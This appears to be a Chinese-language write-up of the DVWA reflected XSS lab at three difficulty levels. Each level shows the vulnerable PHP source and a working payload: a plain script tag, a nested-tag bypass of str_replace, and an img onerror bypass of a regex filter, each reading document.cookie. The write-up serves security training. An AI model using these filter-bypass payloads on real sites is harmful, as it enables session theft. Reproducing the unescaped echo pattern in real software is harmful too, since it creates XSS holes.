前置知识:
1.XSS:攻击者向网站注入恶意代码。发生在无验证和编码的用户输入的地方,通过输入来输出一些敏感信息。
LOW:
前置知识:
1.array_key_exists() 函数:检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false
2.document.cookie:设置或返回与当前文档有关的所有 cookie
writeup:
1.目标是获取登入用户的cookie,查看源码,没有任何过滤,直接输出输入的内容
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
2.尝试输入"<script>alert(document.cookie);</script>",获取成功
Medium:
writeup:
1.查看源码,代码将"<script>"替换成了""
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
2.尝试双写绕过,构造"<scr<script>ipt>alert(document.cookie)</script>",成功获取cookie
3.当然也可以大小写绕过
High
前置知识:
1.preg_replace函数
2.正则表达式:正则表达式30分钟入门教程 (deerchao.cn)、PHP正则表达式,看这一篇就够了 (biancheng.net)
3.只是过滤了script标签,但是有一些javascript事件后仍然能执行javascript代码
4.onerror 事件在加载外部文件(文档或图像)发生错误时触发。
writeup:
1.查看源码,代码将"<script"的任何字段进行了替换。
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
2.构造<img src=aaa οnerrοr=alert(document.cookie);>,获取成功